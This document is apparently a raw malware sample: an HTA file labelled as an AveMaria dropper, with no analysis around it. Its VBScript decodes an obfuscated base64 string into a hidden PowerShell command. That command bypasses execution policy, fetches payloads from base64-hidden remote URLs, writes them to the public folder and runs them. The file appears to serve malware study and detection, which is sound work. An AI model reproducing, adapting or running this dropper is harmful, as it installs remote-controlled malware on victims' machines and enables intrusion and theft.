AWB.hta_AveMaria_dropper

    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
    <script language="VBScript">
        Function OolHmLe(ByVal WLjCOJIwjMSE)
            Const LTCDEkB = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
            Dim oCNlkBQzcp
            Dim CzjUUkocXxLxoTO
            Dim uluzgPGESykmzd

            WLjCOJIwjMSE = Replace(WLjCOJIwjMSE, vbCrLf, "")
            WLjCOJIwjMSE = Replace(WLjCOJIwjMSE, vbTab, "")
            WLjCOJIwjMSE = Replace(WLjCOJIwjMSE, " ", "")

            oCNlkBQzcp = Len(WLjCOJIwjMSE)

            For uluzgPGESykmzd = 1 To oCNlkBQzcp Step 4
              Dim qULZVsG
              Dim RhAeekwYv
              Dim rZdVM
              Dim pIvPCHeHhyQw
              Dim AvUzghhRzmkq
              Dim DwbgUVtBVtr

              qULZVsG = 3
              AvUzghhRzmkq = 0

              For RhAeekwYv = 0 To 3

                rZdVM = Mid(WLjCOJIwjMSE, uluzgPGESykmzd + RhAeekwYv, 1)

                If rZdVM = "=" Then
                  qULZVsG = qULZVsG - 1
                  pIvPCHeHhyQw = 0
                Else
                  pIvPCHeHhyQw = InStr(1, LTCDEkB, rZdVM, vbBinaryCompare) - 1
                End If

                AvUzghhRzmkq = 64 * AvUzghhRzmkq + pIvPCHeHhyQw
              Next

              AvUzghhRzmkq = Hex(AvUzghhRzmkq)
              AvUzghhRzmkq = String(6 - Len(AvUzghhRzmkq), "0") & AvUzghhRzmkq

              DwbgUVtBVtr = Chr(CByte("&H" & Mid(AvUzghhRzmkq, 1, 2))) + _
                Chr(CByte("&H" & Mid(AvUzghhRzmkq, 3, 2))) + _
                Chr(CByte("&H" & Mid(AvUzghhRzmkq, 5, 2)))

              CzjUUkocXxLxoTO = CzjUUkocXxLxoTO & Left(DwbgUVtBVtr, qULZVsG)
            Next

            OolHmLe = CzjUUkocXxLxoTO
          End Function

    Dim fPPHVXCQewX
    Dim AIFsdrzIvTNDyi
    Dim CmldXVIsXBKau
    fPPHVXCQewX = "cG93ZXJzaGVsbC5leGUgLUV4ZWN1dGlvblBvbGljeSBieXBhc3MgLVdpbmRvdyAxIFt2b2lkXSAkbnVsbDskdGFYclpvID0gR2V0LVJhbmRvbSAtTWluIDMgLU1heCA0OyRQT3lmYkVKID0gKFtjaGFyW11dKFtjaGFyXTk3Li5bY2hhcl0xMjIpKTskcXBEY01mVEtmbWxsID0gLWpvaW4gKCRQT3lmYkVKIHwgR2V0LVJhbmRvbSAtQ291bnQgJHRhWHJabyB8ICUge1tDaGFyXSRffSk7JFFVc2pqYUd0SlZFRlBrID0gW2NoYXJdMHgyZStbY2hhcl0weDY1K1tjaGFyXTB4NzgrW2NoYXJdMHg2NTskUXBSU1lyYkVOID0gJHFwRGNNZlRLZm1sbCArICRRVXNqamFHdEpWRUZQazskdFlLUlU9W2NoYXJdMHg1MytbY2hhcl0weDYxK1tjaGFyXTB4NGM7JHJ0emZkbWVRY3I9W2NoYXJdMHg0OStbY2hhcl0weDQ1K1tjaGFyXTB4NTg7JFFQWmlHenZNdWlHSmVsaD1bY2hhcl0weDczK1tjaGFyXTB4NDErW2NoYXJdMHg3MCtbY2hhcl0weDUzO3NBTCBmanl1cXRlZyAkdFlLUlU7JGd2RllJPVtjaGFyXTB4NGUrW2NoYXJdMHg2NStbY2hhcl0weDc0K1tjaGFyXTB4MmUrW2NoYXJdMHg1NytbY2hhcl0weDY1K1tjaGFyXTB4NjIrW2NoYXJdMHg0MytbY2hhcl0weDZjK1tjaGFyXTB4NjkrW2NoYXJdMHg2NStbY2hhcl0weDZlK1tjaGFyXTB4NzQ7Zmp5dXF0ZWcgd3phamV5cWkgJHJ0emZkbWVRY3I7JFRsT0ZmVHBNUj1bY2hhcl0weDI0K1tjaGFyXTB4NjUrW2NoYXJdMHg2ZStbY2hhcl0weDc2K1tjaGFyXTB4M2ErW2NoYXJdMHg1MCtbY2hhcl0weDU1K1tjaGFyXTB4NDIrW2NoYXJdMHg0YytbY2hhcl0weDQ5K1tjaGFyXTB4NDN8d3phamV5cWk7Zmp5dXF0ZWcganFuZmN4ZXJsdyAkUVBaaUd6dk11aUdKZWxoOyRKTWVOZU93TUl3cUUgPSAkVGxPRmZUcE1SICsgW2NoYXJdMHg1YyArICRRcFJTWXJiRU47JENaZVBCYU9RZUMgPSAkcXBEY01mVEtmbWxsICsgJyc7JHdRS3dYV0ZIUmIgPSAnYUhSMGNITTZMeTlqYVhSNWJXRnBiQzVoWlM5RVNFd3VjRzVuJzskd1FLd1hXRkhSYiA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHdRS3dYV0ZIUmIpKTskeFpMRWFFenEgPSAkZW52OlBVQkxJQyArIFtjaGFyXTB4NWMgKyAkQ1plUEJhT1FlQzskZ3ZGWUk9W2NoYXJdMHg0ZStbY2hhcl0weDY1K1tjaGFyXTB4NzQrW2NoYXJdMHgyZStbY2hhcl0weDU3K1tjaGFyXTB4NjUrW2NoYXJdMHg2MitbY2hhcl0weDQzK1tjaGFyXTB4NmMrW2NoYXJdMHg2OStbY2hhcl0weDY1K1tjaGFyXTB4NmUrW2NoYXJdMHg3NDskbFhBdFVSY2lXSUFvT2JqID0gTmV3LU9iamVjdCAkZ3ZGWUk7dHJ5eyRxREJqRXFDTWxxZXhOZCA9ICRsWEF0VVJjaVdJQW9PYmouRG93bmxvYWREYXRhKCR3UUt3WFdGSFJiKX1jYXRjaHtbTmV0LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpTZWN1cml0eVByb3RvY29sID0gW05ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRMUzEyOyRxREJqRXFDTWxxZXhOZCA9ICRsWEF0VVJjaVdJQW9PYmouRG93bmxvYWREYXRhKCR3UUt3WFdGSFJiKX07W0lPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCR4WkxFYUV6cSwgJHFEQmpFcUNNbHFleE5kKTtqcW5mY3hlcmx3ICR4WkxFYUV6cTs7Ozskb0dzS3ZPamNXbFUgPSAnYUhSMGNITTZMeTlqYVhSNWJXRnBiQzVoWlM5QlYwSnpMbVY0WlE9PSc7JG9Hc0t2T2pjV2xVPVtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJG9Hc0t2T2pjV2xVKSk7JGxYQXRVUmNpV0lBbyA9IE5ldy1PYmplY3QgJGd2RllJOyRrcEFLRVFyem1XY3ggPSAkbFhBdFVSY2lXSUFvLkRvd25sb2FkRGF0YSgkb0dzS3ZPamNXbFUpO1tJTy5GaWxlXTo6V3JpdGVBbGxCeXRlcygkSk1lTmVPd01Jd3FFLCAka3BBS0VRcnptV2N4KTtqcW5mY3hlcmx3ICRKTWVOZU93TUl3cUU7OyRxWk1aWnV4YkpLUWQgPSBAKCRrYlZFWnByZ2d5ZmpwLCAkblRmdHpmdywgJFBNWGhld2lLR3FNYSwgJGpGdXpBRmZqdCk7Zm9yZWFjaCgkRkNmdWdZcGMgaW4gJHFaTVpadXhiSktRZCl7JG51bGwgPSAkX30iIg=="
    AIFsdrzIvTNDyi = OolHmLe(fPPHVXCQewX)
    set CmldXVIsXBKau = CreateObject("Wscript.Shell")
    CmldXVIsXBKau.Run(AIFsdrzIvTNDyi),0,true
    self.close()
    </script>
    </head>
    <div>
    </div>
    <body>
    </body>
    </html>